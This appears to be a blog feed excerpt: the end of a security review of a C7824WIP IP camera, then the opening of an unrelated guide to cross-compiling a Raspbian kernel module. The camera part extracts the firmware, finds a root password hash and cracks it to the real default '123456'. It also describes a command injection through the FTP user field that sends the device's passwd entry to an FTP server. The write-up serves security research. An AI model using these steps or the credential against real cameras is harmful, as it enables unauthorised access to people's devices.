&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;binwalk -Mer CH-sys-48.53.64.67.bin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Scan Time: 2016-01-20 01:02:57
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Target File: CH-sys-48.53.64.67.bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MD5 Checksum: 58df9214226cfe46760215bfca0c496c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Signatures: 285
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DECIMAL HEXADECIMAL DESCRIPTION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--------------------------------------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;172 0xAC Zip archive data, at least v2.0 to extract, compressed size: 8969, uncompressed size: 19091, name: &amp;#34;system/system/lib/libsns_gc1004.so&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;9337 0x2479 End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;9499 0x251B Zip archive data, at least v2.0 to extract, compressed size: 7813, uncompressed size: 16341, name: &amp;#34;system/system/lib/libsns_ov9712_plus.so&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;17518 0x446E End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;17680 0x4510 Zip archive data, at least v2.0 to extract, compressed size: 90121, uncompressed size: 353248, name: &amp;#34;system/system/lib/libOnvif.so&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;107987 0x1A5D3 End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;108149 0x1A675 Zip archive data, at least v2.0 to extract, compressed size: 43603, uncompressed size: 84480, name: &amp;#34;system/system/lib/libvoice_arm.so&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;151946 0x2518A End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;152108 0x2522C Zip archive data, at least v2.0 to extract, compressed size: 130, uncompressed size: 227, name: &amp;#34;system/init/ipcam.sh&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;152406 0x25356 End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;152568 0x253F8 Zip archive data, at least v2.0 to extract, compressed size: 402383, uncompressed size: 886168, name: &amp;#34;system/system/bin/encoder&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;555129 0x87879 End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;555291 0x8791B Zip archive data, at least v2.0 to extract, compressed size: 35394, uncompressed size: 74200, name: &amp;#34;system/system/bin/wifidaemon&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;590869 0x90415 End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;591031 0x904B7 Zip archive data, at least v2.0 to extract, compressed size: 1852, uncompressed size: 9692, name: &amp;#34;system/system/bin/grade.sh&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;593063 0x90CA7 End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;593225 0x90D49 Zip archive data, at least v2.0 to extract, compressed size: 8704, uncompressed size: 20212, name: &amp;#34;system/system/bin/updata&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;602105 0x92FF9 End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;602267 0x9309B Zip archive data, at least v2.0 to extract, compressed size: 1874, uncompressed size: 4522, name: &amp;#34;system/system/bin/gpio_aplink.ko&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;604333 0x938AD End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;604495 0x9394F Zip archive data, at least v2.0 to extract, compressed size: 7241, uncompressed size: 16802, name: &amp;#34;system/system/bin/motogpio.ko&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;611922 0x95652 End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;612084 0x956F4 Zip archive data, at least v1.0 to extract, compressed size: 8, uncompressed size: 8, name: &amp;#34;system/system/bin/fwversion.bin&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;612282 0x957BA End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;612444 0x9585C Zip archive data, at least v1.0 to extract, compressed size: 9, uncompressed size: 9, name: &amp;#34;system/system/bin/sysversion.txt&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;612645 0x95925 End of Zip archive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Using tree to see the files available :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tree _CH-sys-48.53.64.67.bin.extracted/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_CH-sys-48.53.64.67.bin.extracted/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└── system
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── init
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ └── ipcam.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; └── system
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── encoder
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── fwversion.bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── gpio_aplink.ko
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── grade.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── motogpio.ko
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── sysversion.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── updata
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ └── wifidaemon
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; └── lib
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── libOnvif.so
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── libsns_gc1004.so
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── libsns_ov9712_plus.so
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; └── libvoice_arm.so
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5 directories, 13 files
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id="firmware-analysis-and-password-retrieval"&gt;Firmware analysis and password retrieval
&lt;/h5&gt;&lt;p&gt;Looking for the files containing the “passwd” string :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;grep -r &amp;#34;passwd&amp;#34; .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Binary file ./system/system/bin/wifidaemon matches
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Binary file ./system/system/bin/encoder matches
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And check in these files for the password.&lt;/p&gt;
&lt;p&gt;wifidaemon&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;strings system/system/bin/wifidaemon | grep -A 1 -B 1 passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;iRet %d pkey:%s keyvalue:%s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;encoder&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;strings system/system/bin/encoder | grep -A 1 -B 1 passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; factory_user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; factory_passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; factory_alarmserver
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; alarmuser
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; alarmpasswd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; alarmdeviceid
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ===websLaunchCgiProc===
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; SET_PARAMETER
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; check_user_passwd right
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; check_user_passwd erro
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Unknown RTSP server state[%d]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So the hashed password for root user is : LSiuY7pOmZG2s. This is encrypted, you can’t use this one to login. We need to crack it first :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &amp;#34;root:LSiuY7pOmZG2s&amp;#34; &amp;gt; password.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;john password.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;123456 (root)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;guesses: 1 time: 0:00:00:00 100% (2) c/s: 17680 trying: 12345 - biteme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Use the &amp;#34;--show&amp;#34; option to display all of the cracked passwords reliably
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The root password : 123456.&lt;/p&gt;
&lt;h3 id="method-3--injection"&gt;Method 3 : Injection
&lt;/h3&gt;&lt;p&gt;Thanks to this &lt;a class="link" href="https://www.pentestpartners.com/blog/hacking-the-aldi-ip-cctv-camera-part-2/" target="_blank" rel="noopener"
 &gt;article&lt;/a&gt;, we know that the system is interpreting the FTP user, so proceed as follow :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="651px" data-flex-grow="271" height="377" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/c7824wip-security-review-easy-hacking/injection-form.png" srcset="https://www.rfontenay.fr/posts/c7824wip-security-review-easy-hacking/injection-form_hu_19d83805838146cc.png 800w, https://www.rfontenay.fr/posts/c7824wip-security-review-easy-hacking/injection-form.png 1024w" width="1024"&gt;&lt;/p&gt;
&lt;p&gt;Save and proceed to a “test”. Then monitor the FTP server logs :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;FTP session opened.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;USER root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh: no such user found from 192.168.1.16 [192.168.1.16] to ::ffff:192.168.1.15:21
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2FTP session closed.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So the hashed password for root user is : LSiuY7pOmZG2s. As already mentioned before, easy to decode :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &amp;#34;root:LSiuY7pOmZG2s&amp;#34; &amp;gt; password.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;john password.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;123456 (root)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;guesses: 1 time: 0:00:00:00 100% (2) c/s: 17680 trying: 12345 - biteme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Use the &amp;#34;--show&amp;#34; option to display all of the cracked passwords reliably
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You&amp;rsquo;re done with C7824WIP Security Review : East Pen test&lt;/p&gt;</description></item><item><title>Cross compilation of a Kernel module on Ubuntu for Raspbian</title><link>https://www.rfontenay.fr/posts/cross-compilation-of-a-kernel-module-on-ubuntu-for-raspbian/</link><pubDate>Tue, 16 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/cross-compilation-of-a-kernel-module-on-ubuntu-for-raspbian/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/cross-compilation-of-a-kernel-module-on-ubuntu-for-raspbian/cross-compilation-raspberry-pi.png" alt="Featured image of post Cross compilation of a Kernel module on Ubuntu for Raspbian" /&gt;&lt;p&gt;In order to do a cross compilation of a Kernel module on Ubuntu for Raspbian, we&amp;rsquo;ll take as an example the D-Link DWA-131 WiFi dongle that is not supported out of the box on &lt;a class="link" href="https://www.raspberrypi.com/software/" target="_blank" rel="noopener"
 &gt;Raspbian&lt;/a&gt;, a compilation is required. You have two options :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Compile on the Pi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross-compile on a other machine.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I prefer to cross-compile as it’s faster and easier : you avoid to install the compilation tools and download huge sources on a small SD card…&lt;/p&gt;
&lt;h2 id="step-1--collect-information"&gt;Step 1 : Collect information
&lt;/h2&gt;&lt;h3 id="dongle-information"&gt;Dongle information
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;lsusb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Bus 001 Device 004: ID 2001:3319 D-Link Corp.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="information-needed"&gt;Information needed
&lt;/h3&gt;&lt;p&gt;Get the firmware hash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;FIRMWARE_HASH&lt;span style="color:#f92672"&gt;=$&lt;/span&gt;(zgrep &lt;span style="color:#e6db74"&gt;&amp;#34;* firmware as of&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&lt;/span&gt;usr&lt;span style="color:#f92672"&gt;/&lt;/span&gt;share&lt;span style="color:#f92672"&gt;/&lt;/span&gt;doc&lt;span style="color:#f92672"&gt;/&lt;/span&gt;raspberrypi&lt;span style="color:#f92672"&gt;-&lt;/span&gt;bootloader&lt;span style="color:#f92672"&gt;/&lt;/span&gt;changelog&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Debian&lt;span style="color:#f92672"&gt;.&lt;/span&gt;gz &lt;span style="color:#f92672"&gt;|&lt;/span&gt; head &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; awk &lt;span style="color:#e6db74"&gt;&amp;#39;{ print $5 }&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Print it :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo $FIRMWARE_HASH
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Result :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3442862c10fab68c2e88d660d2e69c143bb1f00c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Get the kernel hash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KERNEL_HASH=$(wget https://raw.github.com/raspberrypi/firmware/$FIRMWARE_HASH/extra/git_hash -O -)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Print it :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo $KERNEL_HASH
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Result :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ca312f557513e057c456598528e663fe9d009498
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We need to load the configs module to be able to retrieve the configuration later on:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo modprobe configs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And finally your Kernel version :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uname -r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Result :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4.1.17+
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Copy paste these information somewhere in a text file, we’ll use it later on.&lt;/p&gt;
&lt;h2 id="step-2--on-the-compilation-server"&gt;Step 2 : On the compilation server
&lt;/h2&gt;&lt;h3 id="preparation"&gt;Preparation
&lt;/h3&gt;&lt;p&gt;Prepare a folder to work in :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir &lt;span style="color:#f92672"&gt;~/&lt;/span&gt;raspberrypi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; BASEDIR&lt;span style="color:#f92672"&gt;=~/&lt;/span&gt;raspberrypi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd &lt;span style="color:#f92672"&gt;$&lt;/span&gt;BASEDIR
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Create variables based on what we found earlier :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;FIRMWARE_HASH=3442862c10fab68c2e88d660d2e69c143bb1f00c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KERNEL_HASH=ca312f557513e057c456598528e663fe9d009498
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="kernel-source"&gt;Kernel source
&lt;/h3&gt;&lt;p&gt;Download and extract the kernel source :&lt;/p&gt;
